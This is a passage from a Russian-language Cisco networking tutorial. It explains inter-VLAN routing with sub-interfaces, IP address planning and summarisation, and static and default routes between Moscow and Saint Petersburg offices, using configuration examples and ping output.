1) Назначаем имя маршрутизатора командой **hostname**, а для развития хорошего тона, надо упомянуть, что лучше сразу же настроить время на устройстве. Это поможет вам корректно идентифицировать записи в логах.
> Router0#clock set 12:34:56 7 august 2012
>
> Router0# conf t
>
> Router0(config)#hostname msk-arbat-gw1
>
>
Желательно время на сетевые устройства раздавать через NTP (любую циску можно сделать NTP-сервером, кстати)
2) Далее переходим в режим настройки интерфейса, обращённого в нашу локальную сеть и включаем его, так как по умолчанию он находится в состоянии Administratively down.
> msk-arbat-gw1(config)#interface fastEthernet 0/0
>
> msk-arbat-gw1(config-if)#no shutdown
>
>
3) Создадим виртуальный интерфейс или иначе его называют подинтерфейс или ещё сабинтерфейс (sub-interface).
> msk-arbat-gw1(config)#interface fa0/0.2
>
> msk-arbat-gw1(config-if)#description Management
>
>
Логика тут простая. Сначала указываем обычным образом физический интерфейс, к которому подключена нужная сеть, а после точки ставим некий уникальный идентификатор этого виртуального интерфейса. Для удобства, обычно номер сабинтерфейса делают аналогичным влану, который он терминирует.
4) Теперь вспомним о стандарте [802.1q](http://xgu.ru/wiki/802.1Q), который описывает тегирование кадра меткой влана. Следующей командой вы обозначаете, что кадры, исходящие из этого виртуального интерфейса будут помечены тегом 2-го влана. А кадры, входящие на физический интерфейс FastEthernet0/0 с тегом этого влана будут приняты виртуальным интерфейсом FastEthernet0/0.2.
> msk-arbat-gw1(config-if)#encapsulation dot1Q 2
>
>
5) Ну и как на обычном физическом L3-интерфейсе, определим IP-адрес. Этот адрес будет шлюзом по умолчанию (default gateway) для всех устройств в этом влане.
> msk-arbat-gw1(config-if)#ip address 172.16.1.1 255.255.255.0
>
>
Аналогичным образом настроим, например, 101-й влан:
> msk-arbat-gw1(config)#interface FastEthernet0/0.101
>
> msk-arbat-gw1(config-if)#description PTO
>
> msk-arbat-gw1(config-if)#encapsulation dot1Q 101
>
> msk-arbat-gw1(config-if)#ip address 172.16.3.1 255.255.255.0
>
>
и теперь убедимся, что с компьютера из сети ПТО мы видим сеть управления:

Работает и отлично, настройте пока все остальные интерфейсы. Проблем с этим возникнуть не должно.
Физика и логика процесса межвланной маршрутизации
-------------------------------------------------
Что происходит в это время с вашими данными?
Мы рассуждали в [прошлый раз](http://habrahabr.ru/blogs/sysadm/138043/#Ethernet_conception), что происходит, если вы пытаетесь связаться с устройством из той же самой подсети, в которой находитесь вы.
Под той же самой подсетью мы понимаем следующее.
Например, на вашем компьютере настроено следующее:
IP: 172.16.3.2
Mask: 255.255.255.0
GW: 172.16.3.1
Все устройства, адреса которых будут находиться в диапазоне 172.16.3.1-172.16.3.254 с такой же маской, как у вас будут являться членами вашей подсети. Что происходит с данными, если вы отправляет их на устройство с адресом из этого диапазона?
Повторим это с некоторыми дополнениями.
Для отправки данных они должны быть упакованы в Ethernet-кадр, в заголовок которого должен быть вставлен MAC-адрес удалённого устройства. Но откуда его взять?
Для этого ваш компьютер рассылает широковещательный ARP-запрос. В качестве IP-адреса узла назначения в IP-пакет с этим запросом будет помещён адрес искомого хоста. Сетевая карта при инкапсуляции указывает MAC-адрес FF:FF:FF:FF:FF:FF — это значит, что кадр предназначен всем устройствам. Далее он уходит на ближайший коммутатор и копии рассылаются на все порты нашего влана (ну, кроме, конечно, порта, из которого получен кадр). Получатели видят, что запрос широковещательный и они могут оказаться искомым хостом, поэтому извлекают данные из кадра. Все те устройства, которые не обладают указанным в ARP-запросе IP-адресом, просто игнорируют запрос, а вот устройство-настоящий получатель ответит на него и вышлет первоначальному отправителю свой MAC-адрес. Отправитель (в данном случае, наш компьютер) помещает полученный MAC в свою таблицу соответствия IP и MAC адресов ака ARP-кэш. Как выглядит ARP-кэш на вашем компьютере прямо сейчас, вы можете посмотреть с помощью команды **arp -a**

Потом ваши полезные данные упаковываются в IP-пакет, где в качестве получателя ставится тот адрес, который вы указали в команде/приложении, затем в Ethernet-кадр, в заголовок которого помещается полученный ARP-запросом MAC-адрес. Далее кадр отправляется на коммутатор, который согласно своей таблице MAC-адресов, решает, в какой порт его переправить дальше.
Но что происходит, если вы пытаетесь достучаться до устройства в другом влане? ARP-запрос ничего не вернёт, потому что широковещательные L2 сообщения кончаются на маршрутизаторе(т.е., в пределах широковещательного L2 домена), нужная сеть находится за ним, а коммутатор не пустит кадры из одного влана в порт другого. И вот для этого нужен шлюз по умолчанию (default gateway) на вашем компьютере.
То есть, если устройство-получатель в вашей же подсети, кадр просто отправляется в порт с мак-адресом конечного получателя. Если же сообщение адресовано в любую другую подсеть, то кадр отправляется на шлюз по умолчанию, поэтому в качестве MAC-адреса получателя подставится MAC-адрес маршрутизатора.
Проследим за ходом событий.
1) ПК с адресом 172.16.3.2/24 хочет отправить данные компьютеру с адресом 172.16.4.5.

Он видит, что адрес из другой подсети, следовательно, данные должны уйти на шлюз по умолчанию. Но в таком случае, ПК нужен MAC-адрес шлюза. ПК проверяет свой ARP-кэш в поисках соответствия IP-адрес шлюза — MAC-адрес и не находит нужного

2) ПК отправляет широковещательный ARP-запрос в локальную сеть. Структура ARP-запроса:
— на канальном уровне в качестве получателя — широковещательный адрес ( FF:FF:FF:FF:FF:FF), в качестве отправителя — MAC-адрес интерфейса устройства, пытающегося выяснить IP
— на сетевом — собственно ARP запрос, в нем содержится информация о том, какой IP и кем ищется.

3) Коммутатор, на который попал кадр, рассылает его копии во все порты этого влана (того, которому принадлежит изначальный хост), кроме того, откуда он получен.
4) Все устройства, получив этот кадр и, видя, что он широковещательный, предполагают, что он адресован им.
5) Распаковав кадр, все хосты, кроме маршрутизатора, видят, что в ARP-запросе не их адрес. А маршрутизатор посылает [unicast’овый](http://eucariot.livejournal.com/62043.html) ARP-ответ со своим MAC-адресом.
6) Изначальный хост получает ARP-ответ, теперь у него есть MAC-адрес шлюза. Он формирует пакет из тех данных, что ему нужно отправить на 172.16.4.5. **В качестве *MAC-адреса* получателя ПК ставит адрес шлюза. При этом *IP-адрес* получателя в пакете остаётся 172.16.4.5**

7) Кадр посылается в сеть, коммутаторы доставляют его на маршрутизатор.
8) На маршрутизаторе, в соответствии с меткой влана, кадр принимается конкретным сабинтерфейсом. **Данные канального уровня откидываются**.
9) Из заголовка IP-пакета, рутер узнаёт адрес получателя, а из своей таблицы маршрутизации видит, что тот находится в непосредственно подключенной к нему сети на определённом сабинтерфейсе (в нашем случае FE0/0.102).
> C 172.16.0.0/24 is directly connected, FastEthernet0/0.3
>
> C 172.16.1.0/24 is directly connected, FastEthernet0/0.2
>
> C 172.16.2.16/30 is directly connected, FastEthernet0/1.5
>
> C 172.16.3.0/24 is directly connected, FastEthernet0/0.101
>
> C 172.16.4.0/24 is directly connected, FastEthernet0/0.102
>
> C 172.16.5.0/24 is directly connected, FastEthernet0/0.103
>
> C 172.16.6.0/24 is directly connected, FastEthernet0/0.104
>
>
10) Маршрутизатор отправляет ARP-запрос с этого сабинтерфейса — узнаёт MAC-адрес получателя.
11) Изначальный IP-пакет, не **изменяясь** инкапсулируется в **новый кадр**, при этом:
— в качестве MAC-адреса источника указывается адрес интерфейса шлюза
— IP-адрес источника — адрес изначального хоста (в нашем случае 172.16.3.2)
— в качестве MAC-адреса получателя указывается адрес конечного хоста
— IP-адрес получателя — адрес конечного хоста (в нашем случае 172.16.4.5)
и отправляется в сеть с сабинтерфейса FastEthernet0/0.102, получая при этом метку 102-го влана.
12) Кадр доставляется коммутаторами до хоста-получателя.
Планирование расширения
=======================
Теперь обратимся к планированию. В нулевой части мы уже затронули эту тему, но тогда речь была только о двух офисах в Москве, теперь же сеть растёт.
Будет она вот такой:

То есть прибавляются две точки в Санкт-Петербурге: небольшой офис на Васильевском острове и сам завод в Озерках — и одна в Кемерово в районе Красная горка.
Для простоты у нас будет один провайдер “Балаган Телеком”, который на выгодных условиях предоставит нам L2VPN до обеих точек.
В одном из следующих выпусков мы тему различных вариантов подключения раскроем в красках. А пока вкратце: L2VPN — это, очень грубо говоря, когда вам провайдер предоставляет влан от точки до точки (можно для простоты представить, что они включены в один коммутатор).
Следует сказать несколько слов об IP-адресации и делении на подсети.
В нулевой части мы уже затронули вопросы планирования, весьма вскользь надо сказать.
Вообще, в любой более или менее большой компании должен быть некий регламент — свод правил, следуя которому вы распределяете IP-адреса везде. Сеть у нас сейчас разрастается и разработать его очень важно.
Ну вот к примеру, скажем, что для офисов в других городах это будет так:

Это весьма упрощённый регламент, но теперь мы во всяком случае точно знаем, что у шлюза всегда будет 1-й адрес, до 12-го мы будем выдавать коммутаторам и всяким wi-fi-точкам, а все сервера будем искать в диапазоне 172.16.х.13-172.16.х.23. Разумеется, по своему вкусу вы можете уточнять регламент вплоть до адреса каждого сервера, добавлять в него правило формирования имён устройств, доменных имён, политику списков доступа и т.д.
Чем точнее вы сформулируете правила и строже будете следить за их выполнением, тем проще разбираться в структуре сети, решать проблемы, адаптироваться к ситуации ~~и наказывать виновных~~.
Это примерно, как схема запоминания паролей: когда у вас есть некое правило их формирования, вам не нужно держать в голове несколько десятков сложнозапоминаемых паролей, вы всегда можете их вычислить.
Вот так же и тут. Я некогда работал в средних размеров холдинге и знал, что если я приеду в офис где-нибудь в забытой коровами деревне, то там точно x.y.z.1 — это циска, x.y.z.2 — дистрибьюшн-свитч прокурва, а x.y.z.101 — компьютер главного бухгалтера, с которого надо дать доступ на какой-нибудь контур-экстерн. Другой вопрос, что надо это ещё проверить, потому что местные ИТшники такого порой наворотят, что слезами омываешься сквозь смех.
> Было дело парнишка решил сам управлять всем доступом в интернет (обычно это делал я на маршрутизаторе). Поставил proxy-сервер, случайно поднял на нём NAT и зарулил туда трафик локальной сети, на всех машинах прописав его в качестве шлюза по умолчанию, а потом я минут 20 разбирался, как так: у них всё работает, а мы их не видим.
>
>
IP-план
-------
Теперь нам было бы весьма кстати составить IP-план. Будем исходить из того, что на всех трёх точках мы будем использовать стандартную сеть с маской 24 бита (255.255.255.0) Это означает, что в них может быть 254 устройства.
Почему это так? И как вообще понять все эти маски подсетей? В рамках одной статьи мы не сможем этого рассказать, иначе она получится длинная, как палуба Титаника и запутанная, как одесские катакомбы. Крайне рекомендуем очень плотно познакомиться с такими понятиями, как IP-адрес, маска подсети, их представления в двоичном виде и CIDR (Classless InterDomain Routing) самостоятельно. Мы же далее будем только аргументировать выбор конкретного размера сети. Как бы то ни было, полное понимание придёт только с практикой.
Вообще, очень неплохо эта тема раскрыта в этой статье: <http://habrahabr.ru/post/129664/>
В данный момент (вспомним [нулевой выпуск](http://habrahabr.ru/blogs/sysadm/134892/#IP-PLAN)) у нас в Москве использованы адреса 172.16.0.0-172.16.6.255. Предположим, что сеть может ещё увеличиться здесь, допустим, появится офис на Воробьёвых горах и зарезервируем ещё подсети до 172.16.15.0/24 включительно.
Все эти адреса: 172.16.0.0-172.16.15.255 — можно описать так: 172.16.0.0/20. Эта сеть (с префиксом /20) будет так называемой *суперсетью*, а операция объединения подсетей в суперсети называется *суммированием* подсетей (суммированием маршрутов, если быть точным, route summarization)
Очень наглядный [IP-калькулятор](http://www.ispreview.ru/ipcalc.html). Я и сейчас им периодически пользуюсь, хотя со временем приходит интуитивное и логическое понимание соответствия между длиной маски и границами сети.
Теперь обратимся к Питеру. В данный момент в этом прекрасном городе у нас 2 точки и на каждой из них подсети /24. Допустим это будут 172.16.16.0/24 и 172.16.17.0/24. Зарезервируем адреса 172.16.18.0-172.16.23.255 для возможного расширения сети.
172.16.16.0-172.16.23.255 можно объединить в 172.16.16.0/21 — в общем-то исходя именно из этого мы и оставляем в резерв именно такой диапазон.
В Кемерово нам нет смысла оставлять такие огромные запасы /21, как в Питере (2048 адресов или 8 подсетей /24), или тем более /20, как в Москве (4096 или 16 подсетей /24). А вот 1024 адреса и 4 подсети /24, которым соответствует маска /22 вполне рационально.
Таким образом сеть 172.16.24.0/22 (адреса 172.16.24.0-172.16.27.255) будет у нас для Кемерово.

Тут надо бы заметить: делать такой запас в общем-то необязательно и то, что мы зарезервировали вполне можно использовать в любом другом месте сети. Нет табу на этот счёт. Однако в крупных сетях именно так и рекомендуется делать и связано это с количеством информации в таблицах маршрутизации.
Понимаете ли дело вот в чём: если у вас несколько подряд идущих подсетей разбросаны по разным концам сети, то каждой из них соответствует одна запись в таблице маршрутизации каждого маршрутизатора. Если при этом вы вдруг используете только статическую маршрутизацию, то это ещё колоссальный труд по настройке и отслеживанию корректности настройки.
А если же они у вас все идут подряд, то несколько маленьких подсетей вы можете суммировать в одну большую.
Поясним на примере Санкт-Петербурга. При настройке статической маршрутизации мы могли бы делать так:
> ip route 172.16.16.0 255.255.255.0 172.16.2.2
>
> ip route 172.16.17.0 255.255.255.0 172.16.2.2
>
> ip route 172.16.18.0 255.255.255.0 172.16.2.2
>
> ……
>
> ip route 172.16.23.0 255.255.255.0 172.16.2.2
>
>
Это 8 команд и 8 записей в таблице. Но при этом пришедший на маршрутизатор пакет в любую из сетей 172.16.16.0/21 в любом случае будет отправлен на устройство с адресом 172.16.2.2.
Вместо этого мы поступим так:
> ip route 172.16.16.0 255.255.248.0 172.16.2.2
>
>
И вместо восьми возможных сравнений будет только одно.
Для современных устройств ни в плане процессорного времени ни использования памяти это уже не является существенной нагрузкой, однако такое планирование считается правилами хорошего тона и в конечном итоге вам же самим проще разобраться.
Но, положа руку на сердце, такое планирование скорее исключение, нежели правило: так или иначе фрагментация маршрутов с ростом сети неизбежна.
Теперь ещё несколько слов о *“линковых”* сетях. В среде сетевых администраторов так называются сети точка-точка (Point-to-Point) между двумя маршрутизаторами.
Вот опять же в примере с Питером. Два маршрутизатора (в Москве и в Петербурге) соединены друг с другом прямым линком (неважно, что у провайдера это сотня коммутаторов и маршрутизаторов — для нас это просто влан). То есть кроме вот этих 2-х устройств здесь не будет никаких других. Мы знаем это наверняка. В любом случае на интерфейсах обоих устройств (смотрящих в сторону друг друга) нужно настраивать IP-адреса. И нам точно незачем назначать на этом участке сеть /24 с 254 доступными адресами, ведь 252 в таком случае пропадут почём зря. В этом случае есть прекрасный выход — бесклассовая IP-адресация.
Почему она бесклассовая? Если вы помните, то в нулевой части мы говорили о трёх классах подсетей: А, В и С. По идее только их вы и могли использовать при планировании сети. Бесклассовая междоменная маршрутизация ([CIDR](http://mannix.ru/poleznoe/besklassovaya-adresaciya-cidr.html)) позволяет очень гибко использовать пространство IP-адресов.
Мы просто берём сеть с самой маленькой возможной маской — 30 (255.255.255.252) — это сеть на 4 адреса. Почему мы не можем взять сеть с ещё более узкой маской? Ну 32 (255.255.255.255) по понятными причинам — это вообще один единственный адрес, сеть 31 (255.255.255.254) — это уже 2 адреса, но один из них (первый) — это адрес сети, а второй (последний) — широковещательный. В итоге на адреса хостов у нас и не осталось ничего. Поэтому и берём маску 30 с 4 адресами и тогда как раз 2 адреса остаются на наши два маршрутизатора.
Вообще говоря, самой узкой маской для подсетей в cisco таки является /31. При определённых условиях их можно использовать на P-t-P-линках.
Что же касается маски /32, то такие подсети, которые суть один единственный хост используются для назначения адресов Loopback-интерфейсам.
Именно так мы и поступим. Для этого, собственно, в нулевой части мы и оставили сеть 172.16.2.0/24 — её мы будем дробить на мелкие сетки /30. Всего их получится 64 штуки, соответственно можно назначить их на 64 *линка*.

Здесь мы поступили так же, как и в предыдущем случае: сделали небольшой резерв для Питера, и резерв для Кемерово. Вообще резерв — это всегда очень хорошо о чём бы мы ни говорили. ;)
Принципы маршрутизации
======================
Перед началом настройки стоит определиться с тем, для чего нужна маршрутизация вообще.
Рассмотрим такую сеть:

Вот к примеру с компьютера ПК1 — 172.16.3.2 я хочу подключиться по telnet к L3-коммутатору с адресом 172.16.17.1.
Как мой компьютер узнает что делать? Куда слать данные?
1) Как вы уже знаете, если адрес получателя из другой подсети, то данные нужно отправлять на шлюз по умолчанию.
2) По уже известной вам схеме компьютер с помощью ARP-запроса добывает MAC-адрес маршрутизатора.
3) Далее он формирует кадр с инкапсулированным в него пакетом и отсылает его в порт. После того, как кадр отправлен, компьютеру уже по барабану, что происходит с ним дальше.
4) А сам кадр при этом попадает сначала на коммутатор, где решается его судьба согласно таблице MAC-адресов. А потом достигает маршрутизатора RT1.
5) Поскольку маршрутизатор ограничивает широковещательный домен — здесь жизнь этого кадра и заканчивается. Циска просто откидывает заголовок канального уровня — он уже не пригодится — извлекает из него IP-пакет.
6) Теперь маршрутизатор должен принять решение, что с ним делать дальше. Разумеется, отправить его на какой-то свой интерфейс. Но на какой?
Для этого существует таблица маршрутизации, которая есть на любом рутере. Выяснить, что у нас в данный момент находится в таблице маршрутизации, можно с помощью команды **show ip route**:
> 172.16.0.0/16 is variably subnetted, 10 subnets, 3 masks
>
> C 172.16.3.0/24 is directly connected, FastEthernet0/0.101
>
> C 172.16.2.0/30 is directly connected, FastEthernet0/1.4
>
> S 172.16.17.0/24 [1/0] via 172.16.2.2
>
>
Каждая строка в ней — это способ добраться до той или иной сети.
Вот к примеру, если пакет адресован в сеть 172.16.17.0/24, то данные нужно отправить на устройство с адресом 172.16.2.2.
Таблица маршрутизации формируется из:
— непосредственно подключенных сетей (directly connected) — это сети, которые начинаются непосредственно на нём. В примере 172.16.3.0/24 и 172.16.2.0/30. В таблице они обозначаются буквой **C**
— статический маршруты — это те, которые вы прописали вручную командой **ip route**. Обозначаются буквой **S**
— маршруты, полученные с помощью протоколов динамической маршрутизации (OSPF, EIGRP, RIP и других).
7) Итак, данные в сеть 172.16.17.0 (а мы хотим подключиться к устройству 172.16.17.1) должны быть отправлены на следующий хоп — следующий прыжок, которым является маршрутизатор 172.16.2.2. Причём из таблицы маршрутизации видно, что находится следующий хоп за интерфейсом FE0/1.4 (подсеть 172.16.2.0/30).
8)Если в ARP-кэше циски нет MAC-адреса, то надо снова выполнить ARP-запрос, чтобы узнать MAC-адрес устройства с IP-адресом 172.16.2.2. RT1 посылает широковещательный кадр с порта FE0/1.4. В этом широковещательном домене у нас два устройства, и соответственно только один получатель. RT2 получает ARP-запрос, отбрасывает заголовок Ethernet и, понимая из данных протокола ARP, что искомый адрес принадлежит ему отправляет ARP-ответ со своим MAC-адресом.
9) Изначальный IP-пакет, пришедший на RT1 **не меняется**, он инкапсулируется в **совершенно новый кадр** и отправляется в порт FE0/1.4, получая при этом метку 4-го влана.
10) Полностью аналогичные действия происходят на следующем маршрутизаторе. И на следующем и следующем (если бы они были), пока пакет не дойдёт до последнего, к которому и подключена нужная сеть.
11) Последний маршрутизатор видит, что искомый адрес принадлежит ему самому, а извлекая данные транспортного уровня, понимает, что это телнет и передаёт все данные верхним уровням.
Так вот и путешествуют данные с одного хопа на другой и ни один маршрутизатор представления не имеет о дальнейшей судьбе пакета. Более того, он даже не знает есть ли там действительно эта сеть — он просто доверяет своей таблице маршрутизации.
Настройка
=========
Каким образом мы организуем каналы связи? Как мы уже сказали выше, в нашем офисе на Арбате есть некий провайдер Балаган-Телеком. Он обещает нам предоставить всё, что мы только захотим почти задарма. И мы заказываем у него две услуги L2VPN, то есть он отдаст нам два влана на Арбате в Москве, и по одному в Питере и Кемерово.
Вообще говоря, номера вланов вам придётся согласовывать с вашим провайдером по той простой причине, что у него они могут быть просто заняты. Поэтому вполне возможно, что у вас будет влан, например, 2912 или 754. Но предположим, что нам повезло, и мы вольны сами выбирать номер.
### Москва. Арбат
На циске в Москве у нас два интерфейса, к одному — FE0/0 — уже подключена наша локальная сеть, а второй (FE0/1)мы будем использовать для выхода в интернет и для подключения удалённых офисов.
Как и в самом начале создадим саб-интерфейсы. Выделим для Санкт-Петербурга и Кемерова 4 и 5-й вланы соответственно. IP-адреса берём из нового IP-плана.
> msk-arbat-gw1(config)#interface FastEthernet 0/1.4
>
> msk-arbat-gw1(config-subif)#description Saint-Petersburg
>
> msk-arbat-gw1(config-subif)#encapsulation dot1Q 4
>
> msk-arbat-gw1(config-subif)#ip address 172.16.2.1 255.255.255.252
>
>
>
> msk-arbat-gw1(config)#interface FastEthernet 0/1.5
>
> msk-arbat-gw1(config-subif)#description Kemerovo
>
> msk-arbat-gw1(config-subif)#encapsulation dot1Q 5
>
> msk-arbat-gw1(config-subif)#ip address 172.16.2.17 255.255.255.252
>
>
### Провайдер
Разумеется, мы не будем строить всю сеть провайдера. Вместо этого просто поставим коммутатор, ведь по сути сеть провайдера с нашей точки зрения будет одним огромным абстрактным коммутатором.
Тут всё просто: принимаем транком линк с Арбата в один порт и с двух других портов отдаём их на удалённые узлы. Ещё раз хотим подчеркнуть, что все эти 3 порта не принадлежат одному коммутатору — они разнесены на сотни километров, между ними сложная MPLS-сеть с кучей коммутаторов.
Настраиваем “эмулятор провайдера”:
> Switch(config)#vlan 4
>
> Switch(config-vlan)#vlan 5
>
> Switch(config)#interface fa0/1
>
> Switch(config-if)#switchport mode trunk
>
> Switch(config-if)#switchport trunk allowed vlan 4-5
>
> Switch(config-if)#exit
>
> Switch(config)#int fa0/2
>
> Switch(config-if)#switchport trunk allowed vlan 4
>
> Switch(config-if)#int fa0/3
>
> Switch(config-if)#switchport trunk allowed vlan 5
>
>
### Санкт-Петербург. Васильевский остров
Теперь обратимся к нашему spb-vsl-gw1. Тут у нас тоже 2 порта, но решим вопрос нехватки портов иначе: добавим сюда плату. Плата с двумя FastEthernet-портам и двумя слотами для WIC вполне подойдёт.

Пусть встроенные порты будут для локальной сети, а порты на дополнительной плате мы используем для аплинка и связи с Озерками.

Здесь вы можете увидеть отличие в нумерации портов и понять их смысл.
FastEthernet — это тип порта (Ethernet, Fastethernet, GigabitEthernet, POS, Serial или другие)
x/y/z.w=Slot/Sub-slot/Interface.Sub-interface.
Каким образом здесь вам провайдер будет отдавать канал — транком или аксесом, вы решаете сообща. Как правило, для него не составит проблем ни один из вариантов.
Но мы уже настроили транк, поэтому соответствующим образом настраиваем порт на циске:
> spb-vsl-gw1(config)interface FastEthernet1/0.4
>
> spb-vsl-gw1(config-if)description Moscow
>
> spb-vsl-gw1(config-if)encapsulation dot1Q 4
>
> spb-vsl-gw1(config-if)ip address 172.16.2.2 255.255.255.252
>
>
Добавим ещё локальную сеть:
> spb-vsl-gw1(config)#int fa0/0
>
> spb-vsl-gw1(config-if)#description LAN
>
> spb-vsl-gw1(config-if)#ip address 172.16.16.1 255.255.255.0
>
>
Вернёмся в Москву. С msk-arbat-gw1 мы можем увидеть адрес 172.16.2.2:
> msk-arbat-gw1#ping 172.16.2.2
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.2.2, timeout is 2 seconds:
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 2/7/13 ms
>
>
Но так же не видим 172.16.16.1:
> msk-arbat-gw1#ping 172.16.16.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.16.1, timeout is 2 seconds:
>
> …
>
> Success rate is 0 percent (0/5)
>
>
Опять же, потому что маршрутизатор не знает, куда слать пакет:
> msk-arbat-gw1#sh ip route
>
>
>
> Gateway of last resort is not set
>
>
>
> 172.16.0.0/16 is variably subnetted, 8 subnets, 2 masks
>
> C 172.16.0.0/24 is directly connected, FastEthernet0/0.3
>
> C 172.16.1.0/24 is directly connected, FastEthernet0/0.2
>
> C 172.16.2.0/30 is directly connected, FastEthernet0/1.4
>
> C 172.16.3.0/24 is directly connected, FastEthernet0/0.101
>
> C 172.16.4.0/24 is directly connected, FastEthernet0/0.102
>
> C 172.16.5.0/24 is directly connected, FastEthernet0/0.103
>
> C 172.16.6.0/24 is directly connected, FastEthernet0/0.104
>
>
Исправим это недоразумение:
> msk-arbat-gw1(config)#ip route 172.16.16.0 255.255.255.0 172.16.2.2
>
>
>
> msk-arbat-gw1#sh ip route
>
> Codes: C — connected, S — static, I — IGRP, R — RIP, M — mobile, B — BGP
>
> D — EIGRP, EX — EIGRP external, O — OSPF, IA — OSPF inter area
>
> N1 — OSPF NSSA external type 1, N2 — OSPF NSSA external type 2
>
> E1 — OSPF external type 1, E2 — OSPF external type 2, E — EGP
>
> i — IS-IS, L1 — IS-IS level-1, L2 — IS-IS level-2, ia — IS-IS inter area
>
> \* — candidate default, U — per-user static route, o — ODR
>
> P — periodic downloaded static route
>
>
>
> Gateway of last resort is not set
>
>
>
> 172.16.0.0/16 is variably subnetted, 9 subnets, 2 masks
>
> C 172.16.0.0/24 is directly connected, FastEthernet0/0.3
>
> C 172.16.1.0/24 is directly connected, FastEthernet0/0.2
>
> C 172.16.2.0/30 is directly connected, FastEthernet0/1.4
>
> C 172.16.2.16/30 is directly connected, FastEthernet0/1.5
>
> C 172.16.3.0/24 is directly connected, FastEthernet0/0.101
>
> C 172.16.4.0/24 is directly connected, FastEthernet0/0.102
>
> C 172.16.5.0/24 is directly connected, FastEthernet0/0.103
>
> C 172.16.6.0/24 is directly connected, FastEthernet0/0.104
>
> S 172.16.16.0/24 [1/0] via 172.16.2.2
>
>
Теперь пинг появляется:
> msk-arbat-gw1#ping 172.16.16.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.16.1, timeout is 2 seconds:
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 4/10/24 ms
>
>
Вот, казалось бы оно — счастье, но проверим связь с компьютера:

В чём дело?!
Компьютер знает, куда отправлять пакет — на свой шлюз 172.16.3.1, маршрутизатор тоже знает — на хост 172.16.2.2. Пакет уходит туда, принимается spb-vsl-gw1, который знает, что пингуемый адрес 172.16.16.1 принадлежит ему. А обратно нужно отправить пакет на адрес 172.16.3.3, но в сеть 172.16.3.0 у него нет маршрута. А пакеты, сеть назначения которых неизвестна, просто дропятся — отбрасываются.
> spb-vsl-gw1#sh ip route
>
>
>
> Gateway of last resort is not set
>
>
>
> 172.16.0.0/16 is variably subnetted, 2 subnets, 2 masks
>
> C 172.16.2.0/30 is directly connected, FastEthernet1/0.4
>
> C 172.16.16.0/24 is directly connected, FastEthernet0/0
>
>
Но, почему же, спросите вы, с msk-arbat-gw1 до 172.16.16.1 пинг был? Какая разница 172.16.3.1 или 172.16.3.2? Всё просто.
Из таблицы маршрутизации всем видно, что следующий хоп — 172.16.2.2, при этом адрес из 172.16.2.1 принадлежит интерфейсу этого маршрутизатора, поэтому он и ставится в заголовок в качестве IP-адреса отправителя, а не 172.16.3.1. Пакет отправляется на spb-vsl-gw1, тот его принимает, передаёт данные приложению пинг, которое формирует echo-reply. Ответ инкапсулируется в IP-пакет, где в качестве адреса получателя фигурирует 172.16.2.1, а 172.16.2.0/30 — непосредственно подключенная к spb-vsl-gw1 сеть, поэтому без проблем пакет доставляется по назначению. То етсь в сеть 172.16.2.0/30 маршрут известен, а в 172.16.3.0/24 нет.
Для решения этой проблемы мы можем прописать на spb-vsl-gw1 маршрут в сеть 172.16.3.0, но тогда придётся прописывать и для всех других сетей. Для всех сетей в Москве, потом в Кемерово, потом в других городах — очень большой объём настройки.
И тут стоить заметить, что по сути у нас только один выход в мир — через Москву. Узел в Озерках — тупиковый, а других нет. То есть в основном все данные будут уходить в Москву, где большая часть подсетей и будет выход в интернет.
Чем нам это может помочь? Есть такое понятие — маршрут по умолчанию, ещё он носит романтическое название шлюз — последней надежды. И второму есть объяснение. Когда маршрутизатор решает, куда отправить пакет, он просматривает всё таблицу маршрутизации и, если не находит нужного маршрута, пакет отбрасывается — это если у вас не настроен шлюз последней надежды, если же настроен, то сиротливые пакеты отправляются именно туда — просто не глядя, предоставляя право уже следующему хопу решать их дальнейшую судьбу. То есть если некуда отправить, то последняя надежда — маршрут по умолчанию.
Настраивается он так:
> spb-vsl-gw1(config)#ip route 0.0.0.0 0.0.0.0 172.16.2.1
>
>
И теперь тадааам:

В случае таких тупиковых областей довольно часто применяется именно шлюз последней надежды, чтобы уменьшить количество маршрутов в таблице и сложность настройки.
### Санкт-Петербург. Озерки
Теперь озаботимся Озерками. Здесь мы поставим L3-коммутатор. Допустим, связаны они у нас будут арендованным у провайдера волокном (конечно, это идеализированная ситуация для маленькой компании, но можно же помечтать).
Использование коммутаторов третьего уровня весьма удобно в некоторых случаях. Во-первых, интервлан роутинг в этом случае делается аппаратно и не нагружает процессор, в отличие от маршрутизатора. Кроме того, один L3-коммутатор обойдётся вам значительно дешевле, чем L2-коммутатор и маршрутизатор по отдельности. Правда, при этом вы лишаетесь ряда функций, естественно. Поэтому при выборе решения будьте аккуратны.
Настроим маршрутизатор на Васильевском острове, согласно плану:
> spb-vsl-gw1(config)interface fa1/1
>
> spb-vsl-gw1(config-if)#description Ozerki
>
> spb-vsl-gw1(config-if)#ip address 172.16.2.5 255.255.255.252
>
>
Поскольку мы уже запланировали сеть для Озерков 172.16.17.0/24, то можем сразу прописать туда маршрут:
> spb-vsl-gw1(config)#ip route 172.16.17.0 255.255.255.0 172.16.2.6
>
>
В качестве некст хопа ставим адрес, который мы выделили для линковой сети на Озерках — 172.16.2.6
Теперь перенесёмся в сами Озерки:
Подключим кабель в уже настроенный порт fa1/1 на стороне Васильевского острова и в 24-й порт 3560 в Озерках.
По умолчанию все порты L3-коммутатора работают в режиме L2, то есть это обычные “свитчёвые” порты, на которых мы можем настроить вланы. Но любой из них мы можем перевести в L3-режим, сделав портом маршрутизатора. Тогда на нём мы сможем настроить IP-адрес:
> Switch(config)#hostname spb-ozerki-gw1
>
> spb-ozerki-gw1(config)#interface fa0/24
>
> spb-ozerki-gw1(config-if)#no switchport
>
> spb-ozerki-gw1(config-if)#ip address 172.16.2.6 255.255.255.252
>
>
Проверяем связь:
> spb-ozerki-gw1#ping 172.16.2.5
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.2.5, timeout is 2 seconds:
>
> .!!!
>
> Success rate is 80 percent (4/5), round-trip min/avg/max = 1/18/61 ms
>
>
Настроим ещё локальную сеть. Напомним, что Cisco и другие производители и не только производители не рекомендуют использовать 1-й влан, поэтому, мы воспользуемся 2-м:
